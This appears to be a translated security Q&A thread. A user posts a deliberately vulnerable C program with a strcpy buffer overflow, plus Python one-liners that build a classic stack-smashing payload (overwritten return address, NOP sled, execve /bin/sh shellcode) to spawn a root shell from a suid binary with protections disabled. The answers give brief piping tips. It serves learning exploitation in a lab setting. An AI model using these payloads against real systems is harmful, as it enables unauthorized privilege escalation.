La escalada de privilegios falla fuera de gdb

5

Tengo una aplicación con el siguiente código fuente:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[12];

    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}

Dentro de bof con el strcpy(buffer, str) estoy tratando de lograr una escalada de privilegios mediante el desbordamiento de búfer. Dentro de gdb con el siguiente comando puedo abrir una nueva shell: python -c 'print "A" * 24 + "\x60\xf1\xff\xbf" + "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"' > badfile
Fuera de gdb, sé que la dirección de la memoria cambia un poco, así que he intentado con el mismo comando usando algunos nops también: python -c 'print "A" * 24 + "\x60\xf1\xff\xbf" + "\x90" * 30 + "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"' > badfile
He deshabilitado ASLR, bit NX y pila canaria. Aunque el resultado del último comando anterior es Illegal instruction (core dumped) ¿Qué estoy haciendo mal aquí? (El bit suid de la aplicación como root está habilitado)

    
pregunta user2581671 26.12.2015 - 17:32
fuente

2 respuestas

1

Debes familiarizarte con la terminología. Lo que intenta hacer no tiene nada que ver con la escalada de privilegios. Lo que quieres hacer es ejecutar código a través del desbordamiento de búfer. Le sugiero que lea la entrada para desbordar el búfer desde stdin (get), que es mucho más sencillo que leerlo desde un archivo. Entonces puedes hacer

python -c "<python encoded binary payload>" | yourprogram

Eso debería hacer el truco.

    
respondido por el kaidentity 12.08.2016 - 15:50
fuente
0

Puedes poner la carga útil en un programa de Python e invocar el código como python payload.py; cat | /home/user/code

    
respondido por el ashish 08.08.2016 - 17:15
fuente

Lea otras preguntas en las etiquetas